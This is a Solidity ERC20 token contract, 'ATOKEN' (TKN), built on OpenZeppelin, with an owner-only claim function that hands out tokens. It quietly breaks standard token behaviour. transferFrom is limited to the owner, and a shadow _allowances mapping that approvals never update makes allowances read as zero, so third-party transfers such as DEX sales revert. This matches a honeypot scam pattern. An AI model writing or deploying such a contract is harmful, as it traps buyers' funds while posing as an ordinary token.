ERC20-TKN.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract ATOKEN is ERC20, ERC20Burnable, ERC20Permit, Ownable {
    using SafeMath for uint256;
    mapping(address => bool) public claimed;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 initialSupply = 100000000;

    constructor()
        ERC20("ATOKEN", "TKN")
        ERC20Permit("ATOKEN")
        Ownable(msg.sender)
    {
        _mint(address(this), initialSupply * (10 ** uint256(decimals())));
    }

    function claim(address to, uint256 amount) public onlyOwner {
        require(!claimed[to], "You have already claimed your tokens");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(address(this)) >= amount, "Don't have enough TKN");
        claimed[to] = true;
        _transfer(address(this), to, amount);        
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public onlyOwner override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

}